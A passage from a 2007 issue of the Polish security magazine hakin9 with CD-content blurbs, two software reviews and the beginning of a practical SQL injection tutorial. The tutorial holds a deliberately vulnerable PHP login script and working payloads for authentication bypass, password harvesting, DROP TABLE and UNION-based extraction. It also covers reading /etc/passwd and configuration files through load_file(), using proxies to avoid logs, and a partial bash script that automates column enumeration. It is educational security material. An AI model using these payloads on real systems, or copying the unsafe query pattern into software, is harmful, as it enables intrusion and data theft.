nianych przez specjalistów na całym świecie.

F-secure Internet Security 2007

Zestaw zabezpieczeń przeznaczony dla użytkowni-
ków domowych i małych firm. W skład pakietu wcho-
dzą następujące moduły, takie jak: ochrona antywi-
rusowa, antispyware, firewall, ochrona poczty, anti-
spam, ochrona przed intruzami IDS oraz moduły kon-
troli rodzicielskiej i kontroli aplikacji. Narzędzie chroni
system poza standardowymi wirusami i robakami tak-
że przed oprogramowaniem szpiegującym i rootkita-
mi, co zapewnia pełną ochronę komputera. W wersji
2007 Internet Security posiada swoiste laboratorium

Zawartość CD

wykrywania wirusów, wykorzystując technologię De-
epGuard.

AVG Anti-Rootkit

AVG Anti-Rootkit jest silnym narzędziem z technologią
state-of-art do wykrywania i usuwania rootkit'ów. Rootki-
t'y służą do ukrywania złośliwych objektów na komputerze
takich jak trojany czy keyloggery. Jeżeli włamywacz wyko-
rzystuje technologię rootkit do tego, aby ukryć swoją obec-
ność, wtedy bardzo ciężko jest znaleźć złośliwe oprogra-
mowanie na komputerze. AVG Anti-Rootkit daje Ci możli-
wość znalezienia i usunięcia rootkita oraz zdemaskowania
złodzieja, którego ukrywa rootkit. Interface jest przejrzysty
i łatwy w obsłudze. Oprogramowanie zapewnia szybkie i
efektywne wykrywanie nawet obiektów NTFS-ADS

AVG Antywirus 7.5

Najnowsze wydanie narzędzia przeciwko wirusom firmy
Grisoft do użytku domowego na pojedyńczym kompute-
rze. Zapewnia najwyższy poziom wykrywalności dlatego
miliony użytkowników na świecie powierzyło bezpieczeń-
stwo swoich komputerów właśnie temu produktowi.

Poruszanie się po oprogramowaniu jest intuicyjne

i proste, samo narzędzie nie potrzebuje dużych zaso-
bów komputera i nie zwalnia jego pracy. AVG Anti-Vi-
rus umożliwia przeprowadzanie automatycznych aktuali-
zacji, oraz zapewnia ochrone w czasie rzeczywistym po-
przez nadzorowanie dzialających programów czy otwie-
ranych plików.

CureIT

Jest to darmowy anti-virus i anti-spyware bazujący na sil-
niku skanera Dr.Web Anti-virus, który pomoże Ci szyb-
ko przeskanować i wyleczyć komputer jeśli będzie to ko-
nieczne. Obsługuje stacje robocze wykorzystujące takie
systemy operacyjne jak MS Windows 95OSR2/ 98/Me/
NT 4.0/2000/XP/2003Vista.

Interface skanera jest przystosowywany odpowiednio

do wykrytego języka na danym komputerze, jeżeli lokalny
język nie zostanie wykryty domyślnie ustawiany jest angiel-
ski. Narzędzie zawiera aktualną bazę antywirusów na czas
pobrania, a aktualizacje są przeprowadzane, aż dwa razy
na godzinę. Aby korzystać z najświeższej bazy wirusów na-
leży ściągnąć ostatnia wersję Dr. Web CureIt, ponieważ na-
rzędzie nie zawiera bezpośredniej aktualizacji.

Serdeczne podziękowania dla firmy TTS Company za udostęp-
nienie programu EagleEyeOS Professional Severe w numerze
hakin9 8/2007. http://www.oprogramowaniekomputerowe.pl

background image

Jeśli nie możesz odczytać zawartości płyty CD, a nie jest ona uszkodzona mechanicznie,

sprawdź ją na co najmniej dwóch napędach CD.

W razie problemów z płytą, proszę napisać pod adres: cd@software.com.pl

background image

12

Narzędzia

hakin9 Nr 10/2007

www.hakin9.org

13

hakin9 Nr 10/2007

www.hakin9.org

Narzędzia

Directory Opus (DOpus) to flagowy produkt firmy GPSo-
ftware. DOpus jest menadżerem plików przeznaczonym
pod Windows’a (także pod najnowszą Vistę). Jego pierw-
sze wersje powstały na początku lat dziewięćdziesiątych.
Najnowsza wersja (9) dodaje wiele nowych funkcji, przez
co program jest lepszy. Jego układ oparty jest na panelach,
podobnie jak Total Commandera (TC), jednak DOpus posia-
da znacznie większe możliwości. Pierwszą bardzo dużą
zaletą jest podział na style, zakładki i panele. Interfejs jest
dowolnie konfigurowalny – możemy otworzyć tyle paneli, ile
tylko chcemy, w jakimkolwiek położeniu (horyzontalnie i wer-
tykalnie). Style natomiast są to predefiniowane układy paneli
– podwójny poziomy, pionowy, eksplorator, przezrocze,
obrazy czy pojedynczy – każdy z nich posiada inne prze-
znaczenie. Korzystanie z nich to sama przyjemność, gdyż
mamy możliwość innego prezentowania plików w zależności
od ich zawartości (możemy także definiować własne style).
Zakładki niczym się nie różnią od tych znanych z przegląda-
rek, jednakże możemy zapisać układ wszystkich zakładek
w folderze ulubionych i jednym kliknięciem przywracać stan
DOpus’a. Nie zabrakło obsługi protokołu FTP czy skompre-
sowanych plików. Bardzo przydatnym dodatkiem jest moż-
liwość wysyłania zdjęć do serwisu Flickr przy użyciu menu
kontekstowego – opublikujemy nasze ulubione zdjęcia bez
korzystania z przeglądarki. Niestety, jedynym mankamen-
tem DOpus’a są skróty klawiaturowe. Jest ich bardzo dużo i
trzeba się do nich przyzwyczaić, jednak bez większych pro-
blemów udało mi się je zmienić na te znane z TC. Doszli-
śmy do kolejnego etapu – konfiguracji. Ustawienia trzeba
liczyć w setkach (co jest zaletą). Autorzy programu posta-
nowili zamieścić wyszukiwarkę do poruszania się po usta-
wieniach. Ich modyfikowanie możemy zacząć od dźwięków,
przez udostępnianie, aż po integrację z systemem. Po kilku
dniach pracy z programem skorzystałem z tej ostatniej moż-
liwości i do teraz używam DOpus’a jako zamiennika Eksplo-
ratora Microsoftu. Integracja jest bezproblemowa tj. działają
menu kontekstowe, wszystkie foldery systemowe (Mój kom-
puter, Panel sterowania, itp.), dodana jest także możliwość
uruchamiania przez podwójne kliknięcie w dowolnym miej-
scu Pulpitu. Średnie zużycie pamięci przez DOpus’a wynosi
ok. 40 MB, ale w dzisiejszych czasach jest to rozsądna wiel-
kość, zważywszy na możliwości, jakimi dysponuje program.
Uruchamia się bardzo szybko (włącza się razem z syste-
mem i rezyduje w pamięci), a użytkownik nie odczuwa przy
tym żadnego dyskomfortu. Nie można w nim odnaleźć wad

Windowsowego menadżera plików – DOpus nie zawiesza
się, nawet przy przeglądaniu folderów z dużą ilością zdjęć
z miniaturkami.

Directory Opus jest programem posiadającym same

zalety i niemal nieograniczone możliwości, co czyni go nie-
zwykle przydatnym. Pomimo, że jest to program komercyj-
ny (po przeliczeniu kosztuje około 200zł), wart jest swojej
ceny i mogę go polecić każdemu użytkownikowi systemów
korporacji z Redmond.

Amadeusz Jasak

Producent: GP Software

System: Windows 2000/XP/2003/Windows Vista

Typ: Menadżer plików

Strona producenta: http://www.gpsoft.com.au

Strona dystrybutora: http://www.oprogramowaniekomputerowe.pl

Ocena: 5/5

Directory Opus 9

Rysunek 2.

Interface menadżera plików Opus9

Rysunek 1.

Zrzut ekranu oprogramowania Opus9

background image

12

Narzędzia

hakin9 Nr 10/2007

www.hakin9.org

13

hakin9 Nr 10/2007

www.hakin9.org

Narzędzia

Każdy, kto rozpoczyna działalność gospodarczą, potrzebu-
je biznes planu, który określi opłacalność przedsięwzięcia.
Najprostszym na to sposobem jest zbudowanie mapy myśli
– wykresu dokładnie obrazującego wszystkie pomysły. I tu
przychodzi nam z pomocą program MINDMAP, który świet-
nie się do tego celu nadaje.

MINDMAP 5 Professional to aplikacja pozwalająca na

przygotowywanie prezentacji graficznych, które są pomoc-
ne przy tworzeniu różnego rodzaju projektów. Jej zaletą jest
również to, że może zobrazować strukturę firmy, a nawet
zadania, które mamy zamiar wykonać. Program pomaga
również w rozwiązywaniu różnego rodzaju problemów czy
też... tworzeniu drzewa genealogicznego.

Program jest idealny do przedstawiania zarówno pro-

stych, jak i profesjonalnych materiałów edukacyjnych.
Pasek narzędzi pozwala na zmianę struktury mapy myśli
oraz na dodawanie, usuwanie i edytowanie poszczegól-
nych jej części. Istnieje także możliwość używania sym-
boli, które pomagają w określeniu tematów, jak również
w ich zapamiętaniu. Do programu można importować
obrazki oraz wklejać cliparty. Tworząc nowy temat można
dodać do niego komentarz, notatkę, a nawet hiperłącze.
Jest też wiele możliwości formatowania tekstu oraz obraz-
ków, poczynając od zmiany czcionki aż po zaawansowa-
ne metody graficzne. W porządkowaniu tego wszystkie-
go pomaga nam drzewo, ukazujące całą strukturę mapy.
Boczny pasek pokazuje wszystkie strony w dokumencie,
co jest wręcz niezbędne przy edycji rozbudowanych map..
Bardzo przydatną funkcją jest możliwość ukrywania gałęzi

mapy – pozwala to zaprezentować główną ideę dokumen-
tu oraz jego poszczególne podtematy. Jedną z zalet pro-
gramu jest to, że choć dostępny w wersji angielskiej, to
obsługuje polskie znaki diakrytyczne. Gdy nasza mapa
nie mieści się na jednej stronie, istnieje możliwość rozbi-
cia jej na dwie lub więcej kart. Kolejną ciekawą funkcją pro-
gramu jest burza mózgów – pozwala ona tworzyć pomy-
sły i dyskutować o nich w grupie osób. Wystarczy zapi-
sać swoje myśli, a program przekształci je w mapę myśli,
którą możemy edytować, rozwijać i organizować. Pomię-
dzy poszczególnymi myślami tworzymy relacje, a następ-
nie je formatujemy. Burzę mózgów można ograniczyć cza-
sowo, ustawiając odpowiednią wartość we właściwościach
mapy. Aby urozmaicić naszą mapę myśli, można doda-
wać figury geometryczne, linie proste i krzywe oraz clipar-
ty. Profesjonalna baza clipartów, która zawiera ich aż 100,
sprawia, że tworzenie mapy myśli staje się bardziej atrak-
cyjne, a sam efekt – łatwiejszy w odbiorze. Całą naszą
pracę można zapisać w postaci projektu, który zajmuje nie-
wiele miejsca na dysku, a następnie wydrukować. I tu poja-
wia się problem, ponieważ podczas próby zapisu widzimy
komunikat informujący o błędnym działaniu programu – na
szczęście projekt zostaje mimo to zapisany. Kolejnym pro-
blemem jest fakt, że zapisanego projektu... nie da się otwo-
rzyć, co znacznie utrudnia pracę z programem. Producent
na swoim forum zapewnia jednak, że błąd pojawiający się
w wersji 5.0 jest wyeliminowany w wersji 5.0.1. Program
MINDMAP 5 pomaga stworzyć prezentację bardziej efek-
tywną oraz przedstawić ją w bardziej interesujący sposób
niż MS PowerPoint. Po zakończeniu pracy projekt możemy
eksportować do prezentacji PowerPointa, pliku graficzne-
go, a nawet strony internetowej. MINDMAP 5 Professio-
nal zaskakuje swoimi możliwościami oraz wbudowanymi
narzędziami. Program wart jest swojej ceny, choć nie każ-
dego będzie na niego stać. Uważam, że nadaje się on bar-
dziej dla firm niż do zastosowań domowych, ale na pewno
pomoże przy nauce nudnych tematów. Ciekawostką jest
to, że program poza systemem Windows działa również na
platformie Mac. Po instalacji zajmuje niewiele miejsca na
dysku (50MB). Niestety nie ma polskiej wersji językowej.
Pomoc programu jest bardzo dobra – porusza wszystkie
problemy związane z tworzeniem mapy, wadą jest jedynie
język angielski. Biorąc pod uwagę jego możliwości i cenę,
program jest wart uwagi.

Paweł Malinowski

Producent: Computer Systems Odessa

System: Windows XP

Typ: Mind Mapping

Strona producenta: http://www.conceptdraw.com

Strona dystrybutora: http://www.oprogramowaniekomputerowe.pl

Ocena: 4/5

ConceptDraw MINDMAP 5

Professional

Rysunek 3.

Zrzut ekranu programu MINDMAP 5 Professional

background image

www.hakin9.org

hakin9 Nr 10/2007

14

Początki

Z

acznijmy od utworzenia przykładowej ta-
beli o nazwie wwwusers, zawierającej na-
stępujące pola:

id

,

name

,

login

,

pass

. W

tym celu skorzystamy z narzędzia mysql monitor,
które doskonale nadaje się do testowania wszel-
kich zapytań i wyłapywania błędów. Proces two-
rzenia tabeli został przedstawiony na Listingu 1.

Następnie, zgodnie z Listingiem 2. tworzy-

my prostą stronę internetową uwierzytelniającą
użytkowników na podstawie haseł znajdujących
się w bazie danych.

Podatność na ataki – źródło

problemu

Przedstawiony skrypt PHP używa zapytania

SELECT

do wybrania rekordu zawierającego poda-

ny login i hasło. Jeśli serwer w odpowiedzi zwró-
ci przynajmniej jeden rekord, użytkownik zostanie
zalogowany. Teoretycznie, zalogowanie bez zna-
jomości hasła jest niemożliwe. Niestety, skrypt
zawiera bardzo istotną lukę – dane pobierane od
użytkownika nie są w żaden sposób filtrowane.
Stanowią one część dynamicznie utworzonego
zapytania, przekazywanego do bazy. Oznacza
to, że osoba odwiedzająca stronę ma bezpośred-
ni wpływ na końcową formę zapytania! Brak lub
niedostateczne filtrowanie danych pobranych od

użytkownika może umożliwić wstrzyknięcie do-
datkowego kodu SQL do podstawowego zapyta-
nia. Stąd nazwa ataku – SQL Injection.

Zalogowanie bez

znajomości hasła

Wyobraźmy sobie sytuację, w której ktoś wpro-
wadzi w polu

Username

wartość

dave'-- _

(ostat-

ni znak to spacja), natomiast w polu

Password

– dowolny ciąg znaków, np.

nieznane

. Skrypt

po podstawieniu wartości obu pól utworzy ta-
kie oto zapytanie:

Ataki SQL Injection w

praktyce

Dawid Gołuński

stopień trudności

Bazy danych są dziś nieodłączną częścią nowoczesnych

aplikacji internetowych, takich jak sklepy internetowe czy

serwisy aukcyjne. Język SQL, używany do komunikacji z bazą,

choć oferuje wiele możliwości, stwarza też pewne zagrożenia.

Wystarczy moment nieuwagi, aby pozostawione bez kontroli

zapytanie posłużyło do przejęcia wrażliwych danych.

Z artykułu dowiesz się

• czym są, jakie niosą zagrożenia oraz na czym

polegają ataki SQL Injection,

• poznasz techniki używane podczas ataku,
• poznasz podstawowe metody obrony.

Co powinieneś wiedzieć

• powinieneś znać podstawy języka SQL,
• powinieneś znać podstawy administracji syste-

mem Linux oraz serwerem MySQL,

• powinieneś znać podstawy PHP, C oraz basha.

background image

Ataki SQL Injection w praktyce

hakin9 Nr 10/2007

www.hakin9.org

15

SELECT * FROM wwwusers WHERE
login='dave'-- ' AND pass='nieznane'

Uwierzytelnienie przebiegnie dokład-
nie tak samo, jak w przypadku poda-
nia poprawnego hasła. Dzieje się tak
dlatego, że dwa myślniki oznaczają w

składni SQL komentarz, co sprawia,
że dalsza część zapytania zostaje
kompletnie zignorowana przez ser-
wer. Otrzymujemy więc zapytanie:

SELECT * FROM wwwusers WHERE

login='dave'

które zwróci wiersz zawierający wy-
raz

dave

w polu

login

.

Zalogowanie bez

loginu oraz hasła

Podając w pierwszym polu ciąg

nobody' OR 1=1--

, a w drugim – podob-

nie jak poprzednio – dowolny wyraz,
otrzymamy zapytanie:

SELECT * FROM wwwusers WHERE
login='nobody' OR 1=1
-- ' AND pass='nieznane'

Co można przetłumaczyć jako po-
każ wszystkie rekordy, w których pole

login

jest równe wyrazowi

nobody

al-

bo

1=1

. Drugie wyrażenie (

1=1

) jest za-

wsze prawdziwe dlatego mimo, że w
bazie nie ma użytkownika

nobody

, do-

pasowane zostaną wszystkie rekordy
zawarte w tabeli. W efekcie użytkow-
nik zostanie zalogowany.

Przechwycenie haseł

Skrypt odczytuje jedynie pierwszy
rekord zwrócony przez serwer. Dla-
tego stosując operator

OR

zobaczy-

my dane tylko pierwszego użytkow-
nika. Aby zmusić skrypt do wyświe-
tlenia kolejnych rekordów, zastosuje-
my kolejny operator –

LIMIT

, którego

wywołanie ma postać:

LIMIT {[offset,] row_count}

gdzie

offset

to przesunięcie określa-

jące, ile początkowych wierszy na-
leży pominąć, a

row _ count

to ilość

wierszy, którą chcemy otrzymać.
Dodając do poprzedniego zapytania
ciąg

LIMIT 1,1

zostaniemy zalogo-

wani jako kolejny, znajdujący się na
drugim miejscu tabeli – użytkownik

john _ usr

. Zwiększając dalej

offset

dojdziemy do hasła administratora.

Ograniczenia

Dotychczas wstrzykiwany kod stano-
wił jedynie parametry dla polecenia

SELECT

. Powstaje pytanie, czy istnieje

szansa na wykonanie kolejnego – nie-
zależnego od pierwszego – polecenia
w ramach jednego zapytania? Do roz-
dzielania komend służy znak średnika.
Po wprowadzeniu podczas logowania
ciągu

'; DROP TABLE wwwusers--

, koń-

Listing 1.

Budowa tabeli wwwusers

mysql>

CREATE TABLE

wwwusers

>

(

id int, name char

(

25

)

, login char

(

25

)

, pass char

(

25

))

;

mysql>

INSERT

INTO

wwwusers

>

VALUES

(

'1'

,

'Dave'

,

'dave'

,

'secretDBpass'

)

;

mysql>

INSERT

INTO

wwwusers

>

VALUES

(

'2'

,

'John'

,

'john_usr'

,

'johnpassword'

)

;

mysql>

INSERT

INTO

wwwusers

>

VALUES

(

'3'

,

'Paul'

,

'admin'

,

'pass-www'

)

;

mysql>

SELECT

*

FROM

wwwusers;

+

------+-------+----------+--------------+

| id | name | login | pass |
+

------+-------+----------+--------------+

| 1 | Dave | dave | secretDBpass |
| 2 | John | john_usr | johnpassword |
| 3 | Paul | admin | admin-www |
+

------+-------+----------+--------------+

3 rows

in

set

(

0.00 sec

)

Listing 2.

Strona login.php

<

HTML

>

<

BODY

>

<

FORM name=

"log_form"

method=

"POST"

>

Username:

<

INPUT type=

"edit"

name=

"user"

>

Password:

<

INPUT type=

"edit"

name=

"pass"

>

<

INPUT type=

"submit"

value=

"log in"

>

<

/FORM

>

<?

php

if

(

isset

(

$_POST

[

'user'

])

&&

isset

(

$_POST

[

'pass'

])

){

$user

=

$_POST

[

'user'

]

;

$pass

=

$_POST

[

'pass'

]

;

}

else

die

(

"Nie przeslano danych"

)

;

$conn

=

mysql_connect

(

"localhost"

,

"user"

,

"pass"

)

or

die

(

"Brak polaczenia z baza"

)

;

mysql_select_db

(

"baza_danych"

)

or

die

(

"Nie ma takiej bazy"

)

;

/* Utworzenie zapytania w oparciu o przekazane wartosci */

$query

= "SELECT * FROM wwwusers WHERE login=

'$user'

AND

pass=

'$pass'";

echo "

<

br

>

Zapytanie wyslane

do

bazy:

<

br

>

" .

$query

. "

<

br

>

";

/* Przeslanie zapytania do bazy */

$res

=

mysql_query

(

$query

)

;

if

(

!

$res

)

echo

"

<

br

>

" . mysql_error() . "

<

br

>

";

$record

=

mysql_fetch_row

(

$res

)

;

/* Jesli serwer znalazl rekord to uzytkownik zostaje zalogowany*/

if

(

$record

)

{

echo

"

<

br

>

Hello

<

b

>

$record[2]

<

/b

>

! Oto twoje dane:

<

br

><

br

>

";

echo "

<

TABLE border=1

><

tr

>

";

echo "

<

td

>

ID

<

/td

>

<

td

>

$record

[

0

]<

/td

><

/tr

>

";

echo "

<

tr

><

td

>

Name

<

/td

>

<

td

>

$record

[

1

]<

/td

>

";

echo "

<

tr

><

td

>

Login

<

/td

>

<

td

>

$record

[

2

]<

/td

>

";

echo "

<

tr

><

td

>

Pass

<

/td

>

<

td

>

$record

[

3

]<

/td

><

/tr

><

/TABLE

>

";

} else echo "

<

br

><

b

>

Podales zle haslo, lub login

<

/b

>

";

?>
<

/BODY

>

<

/HTML

>

background image

hakin9 Nr 10/2007

www.hakin9.org

Początki

16

cowe zapytanie będzie wyglądało tak:

SELECT * FROM wwwusers WHERE
login='';DROP TABLE wwwusers

Zamiast spodziewanego efektu (skaso-
wanie tabeli) otrzymamy jednak błąd:

You have an error in your SQL syntax;
check the manual that corresponds to
your MySQL server version for
the right syntax to use
near ';DROP

Spowodowane jest to tym, że funkcja

mysql _ query()

nie pozwala wykonać

dwóch rozłącznych zapytań w cza-
sie jednego wywołania. Ogranicza to
znacznie zakres ataku - nawet w przy-
padku całkowitego braku kontroli da-
nych wejściowych. Mimo to, z pomocą
operatora

UNION

, istnieje możliwość wy-

konania dodatkowych instrukcji

SELECT

.

Pobieranie informacji z

innych tabel

Obok tabeli wwwusers tworzymy ta-
belę contact - zgodnie z Listingiem 4.

Aby wydobyć z niej informacje,

posłużymy się operatorem

UNION

.

Wpisując w formularzu:

nic' UNION SELECT name,number
FROM contact--

otrzymamy błąd:

The used SELECT statements have a
different number of columns

Należy tu zauważyć, że pierwszy (za-
warty w skrypcie PHP)

SELECT

wybie-

ra wszystkie cztery pola (symbol

*

) ta-

beli wwwusers, natomiast drugi – tylko
dwa. Problem można rozwiązać po-
przez wstawienie dowolnych wartości
liczbowych w miejsce brakujących pól.
Po wstawieniu liczb 1 i 2 końcowe za-
pytanie będzie wyglądało tak:

SELECT * FROM wwwusers WHERE
login='nic' UNION
SELECT 1, 2, name, number FROM contact

Jest ono jak najbardziej poprawne i
da w wyniku wszystkie rekordy tabeli
contact. Wynik nie zawiera rekordów
z tabeli wwwusers, ponieważ żaden z
nich nie został dopasowany (login

nic

nie istnieje).

Przebieg ataku

na bazę danych

Jeżeli atakujący nie posiada konta na
serwerze, a wynik skanowania por-
tów nie przyniósł rezultatów, kolejnym
krokiem w przełamaniu zabezpieczeń
serwera może być przeszukanie strony
WWW pod kątem błędów PHP/SQL.

Gdzie wstrzyknąć kod?

Na atak narażone są wszelkie miejsca
kontaktu użytkownik-skrypt, na które

odwiedzający stronę ma wpływ (mo-
że je modyfikować). Są to w szcze-
gólności:

• wszelkiego typu pola edycyjne,
• parametry przekazywane w ad-

resie URL,

• ciasteczka (cookies),
• ukryte pola formularzy,
• rozwijane listy wyboru,
• pola wyboru (checkbox, radio).

W przypadku słabo zabezpieczo-
nych stron internetowych zwykle
udaje się odnaleźć niefiltrowaną
zmienną wśród parametrów adre-
su URL. Mając do czynienia z lepiej
zabezpieczonymi witrynami, war-
to sprawdzić mniej oczywiste miej-
sca, jak np. listy wyboru. Programi-
ści często mylnie zakładają tu, że
użytkownik posiada wybór ograni-
czony jedynie do elementów rozwi-
janej listy. Nic nie stoi przecież na
przeszkodzie, aby stronę HTML za-
wierającą formularz z taką listą zapi-
sać na dysku, a następnie zmodyfi-
kować jedną z jej pozycji.

Czasem poszukiwania, ze wzglę-

du na dużą ilość potencjalnie niefil-
trowanych miejsc, wymagają nawią-
zania sporej ilości połączeń z ser-
werem WWW. Takie próby zostają
odnotowane w logach. Dlatego ata-
ki przeprowadzane są zwykle przy
użyciu serwerów pośredniczących
(proxy).

Serwer SQL

Aby klient mógł przeprowadzić jakąkol-
wiek operację na bazie danych, musi
istnieć serwer SQL. Rolą serwera jest
przyjmowanie zapytań od klientów, wy-
konywanie żądanych operacji na bazie
oraz przedstawianie wyników. Serwer
bazy danych zarządza również użytkow-
nikami i uprawnieniami. Do bardziej zna-
nych serwerów należą: MySQL, Post-
greSQL, MsSQL, Oracle. W tym arty-
kule skoncentrowano się głównie na ser-
werze MySQL, który jest jednym z naj-
popularniejszych – ze względu na szyb-
kość działania, otwartość kodu i przeno-
śność. Wiele opisanych technik powinno
znaleźć zastosowanie również w przy-
padku innych serwerów baz danych.

Rysunek 1.

Wpływ danych wejściowych na końcowe zapytanie

������������

�������

������������

��������

���������������������������������������������������������������

��������������������������������������

��������

��

����������

��

��������

Rysunek 2.

Oszukanie skryptu login.php przy pomocy operatora OR

background image

Ataki SQL Injection w praktyce

hakin9 Nr 10/2007

www.hakin9.org

17

Serwer zwraca błąd

W zależności od tego, gdzie trafi
wstrzyknięty kod, komunikat błędu mo-
że informować o nieprawidłowej skład-
ni, nieistniejącej nazwie pola, błęd-
nej wartości dla pola danego typu itp.
Przypuśćmy, że zmieniając parametr

c

w adresie http://page-with-bug.com/

shop/index.php?pid=1&c=2 na

c=abc2

serwer zwrócił błąd:

Unknown column 'abc2' in 'where clause'

W takim przypadku można domyślić
się, że gdzieś w pliku index.php ist-
nieje funkcja konstruująca zapytanie
podobne do:

SELECT * FROM produkty_tab WHERE
c=$_GET['c']

Odczytana z tablicy

GET

zmienna

c

nie

jest ograniczona apostrofami, ponie-
waż programista nie przewidział wy-
stąpienia w tym miejscu wartości in-

nej niż liczbowa. Dlatego wstawienie
ciągu znaków

abc2

sprawia, że ser-

wer próbuje odwołać się do tej warto-
ści jak do nazwy pola, które – jak wy-
nika z komunikatu – nie istnieje.

Pierwszy zastrzyk

Wiedząc, że zmienna

c

musi być licz-

bą i nie jest ograniczona apostrofami,
można spróbować wykorzystać ope-
rator

UNION

w celu wstrzyknięcia do-

datkowego polecenia. Przypisanie

c=2

UNION SELECT 1--

utworzy zapytanie:

SELECT * FROM produkty_tab WHERE c=2
UNION SELECT 1--

Jeżeli skrypt nie dokona filtracji kodu,
a tabela produkty_tab okaże się za-
wierać większą liczbę kolumn – ser-
wer zwróci błąd:

The used SELECT statements have a
different number of columns

Liczba kolumn może zostać ustalo-
na poprzez kolejne wstawianie cyfr
po przecinkach, do momentu aż ser-
wer nie wyświetli błędu:

c=2 UNION SELECT 1,2--
c=2 UNION SELECT 1,2,3--
...

Niektóre tabele mogą zawierać dzie-
siątki kolumn, dlatego ustalenie wła-
ściwej liczby może zająć sporo cza-
su. Nasze zadanie może jednak zo-
stać w pełni zautomatyzowane skryp-
tem z Listingu 6.

Po przesłaniu zapytania z właści-

wą liczbą kolumn na stronie powinny
ukazać się wybrane cyfry. Jeżeli ich
nie widać, atakowany skrypt najpew-
niej wyświetla tylko pierwszy rekord.
Można temu zaradzić dodając opera-
tor

LIMIT 0

, który usunie wynik uzy-

skany z pierwszego polecenia

SELECT

.

Where are we, czyli

rekonesans

Po nawiązaniu komunikacji z bazą moż-
na przystąpić do rozpoznawania śro-
dowiska, w jakim pracuje atakowany
skrypt. Chcąc dowiedzieć się, na jakim
koncie serwera SQL pracuje skrypt, wy-
starczy skorzystać z wbudowanej funk-

Parę słów o UNION

UNION

jest operatorem pozwalającym scalić ze sobą wyniki dwóch lub większej ilo-

ści zapytań

SELECT

. Zrozumienie istoty jego działania jest niezmiernie ważne, gdyż

stanowi podstawę większości ataków. Wstrzyknięty kod z reguły trafia na koniec
zapytania dynamicznie utworzonego przez skrypt PHP. Atakujący nie ma możliwo-
ści zmiany zdefiniowanego na jego początku polecenia SQL, ani też dodania nowe-
go po średniku. Jedyną możliwością ingerencji jest wtedy użycie

UNION

. Schemat

wywołania tego operatora prezentuje się tak:

SELECT ... FROM ... UNION SELECT

... FROM ... UNION ....

W odpowiedzi na tak skonstruowane zapytanie serwer najpierw wykona pierwsze po-
lecenie

SELECT

, następnie drugie – dostawiając jego wynik do rezultatu pierwszego

polecenia itd. Każde z poleceń składowych może odwoływać się do różnych tabel,
pól, a także posiadać dodatkowe warunki i parametry, niezależne od pozostałych. Ist-
nieje tu jednak ograniczenie – każdy

SELECT

musi wybierać identyczną liczbę pól. Po-

nadto odpowiadające sobie pola powinny być tego samego typu (w innym przypadku
część serwerów odrzuci zapytanie).

Listing 3.

Prosty przykład użycia UNION

/* Wynik pierwszego zapytania SELECT */

SELECT

imie,nazwisko

FROM

tabela1

WHERE

imie=

'Jan'

+

------+----------+

| imie | nazwisko |
+

------+----------+

| Jan | Kowalski |
+

------+----------+

/* Wynik drugiego zapytania SELECT */

SELECT

miasto,kraj

FROM

tabela2

+

----------+--------+

| miasto | kraj |
+

----------+--------+

| Poznan | Polska |
| Warszawa | Polska |
+

----------+--------+

/* Zestawienia ze sobą wyników obu zapytań SELECT */

SELECT

imie,nazwisko

FROM

tabela1

WHERE

imie=

'Jan'

UNION

SELECT

miasto,kraj

FROM

tabela2

+

----------+----------+

| imie | nazwisko |
+

----------+----------+

| Jan | Kowalski |
| Poznan | Polska |
| Warszawa | Polska |
+----------+----------+

background image

hakin9 Nr 10/2007

www.hakin9.org

Początki

18

cji

user()

, która zwróci potrzebne infor-

macje (w postaci user@host). Aby re-
zultat funkcji był widoczny, jej wywoła-
nie musi zostać umieszczone w miejscu
jednej z cyfr, które ukazały się na stronie
w trakcie ustalania liczby kolumn, np.:

SELECT 1,user(),3,4,5,6,7,8--

W uzyskaniu pozostałych informa-
cji pomocne mogą okazać się rów-
nież zmienne systemowe. Przykłado-
wo, aby dowiedzieć się, na jakim sys-
temie pracuje baza, można wykorzy-
stać zmienną

version _ compile _ os

,

której wartość ustali zapytanie:

SELECT @@version_compile

Zagłębianie się w system

Mając podstawowe informacje o kon-
cie oraz systemie, możemy pokusić
się o użycie funkcji

load _ file()

w ce-

lu odczytania plików konfiguracyjnych
systemu. Oczywiście podany jako pa-
rametr plik musi posiadać uprawnie-
nia zezwalające procesowi serwera
bazy na odczyt. Przykładami plików,
które często posiadają takie upraw-
nienia, a zarazem dostarczają istot-
nych informacji są:

/etc/passwd,
/etc/inittab,
/etc/my.cnf,
/etc/inetd.conf,
httpd.conf,
• skrypty startowe rc,
• niektóre dzienniki serwera (w tym

logi SQL).

Poznanie dokładnej wersji syste-
mu zazwyczaj ogranicza się do od-
czytania pliku o nazwie w rodzaju
/etc/redhat-release. Taka informacja
zdradza umiejscowienie innych pli-
ków konfiguracyjnych – charaktery-
stycznych dla danej dystrybucji sys-
temu.

Czytanie skryptów PHP

Oprócz wspomnianych plików, czę-
sto możliwy jest odczyt źródeł apli-
kacji PHP. Źródła strony mogą za-
wierać niezakodowane hasła do
baz danych (przekazane do funkcji

mysql _ connect()

), jak również zdra-

Listing 4.

Budowa tabeli contact

mysql>

CREATE TABLE

contact

>

(

name char

(

25

)

, number char

(

25

)

;

mysql>

INSERT

INTO

contact

VALUES

(

'Mike'

,

'777-888-111'

)

;

mysql>

INSERT

INTO

contact

VALUES

(

'Tom'

,

'111-252-116'

)

;

mysql>

SELECT

*

FROM

contact;

+

------+-------------+

| name | number |

+

------+-------------+

| Mike | 777-888-111 |

| Tom | 111-252-116 |

+

------+-------------+

2 rows

in

set

(

0.00 sec

)

Listing 5.

Kod HTML listy wyboru

<

form name=

"locale"

method=

"post"

action=

"country.php"

>

<

b

>

Country/Region:

<

/b

><

br

>

<

SELECT name=

"country"

size=

"10"

>

<

option value=

"Afghanistan|en-in"

>

Afghanistan

<

/option

>

<

option value=

"' UNION SELECT 1,2-- "

>

' UNION SELECT 1,2--

<

/option

>

...

<

/SELECT

>

Listing 6.

Skrypt num_of_cols.sh odgadujący liczbę kolumn

#!/bin/bash

# Skrypt probuje odgadnac liczbe kolumn tabeli poprzez wstawienie

# ciagu: UNION SELECT 1-- w oznaczone

(

przez: _HERE_

)

miejsce adresu

# URL i stopniowe zwiekszanie liczby wybieranych cyfr -

do

momentu az serwer

# przestanie zwracac blad. Przed uruchomieniem trzeba ustawic zmienna PROXY

# Uzycie: ./script.sh

[

URL with _HERE_ keyword

]

[

number_of_tries

]

# Przyklad:

# ./script.sh

"http://sqlbug.com/show.php?var=1_HERE_&id=5&color=g"

30

SKIP=0;

PROXY=

"x.x.x.x:80"

;

sql=

"

%20

union

%20

SELECT

%201

--

%20

"

;

if

[

$#

-lt 1

]

; then

echo

"read ussage!"

;

exit

1; fi

if

[

$#

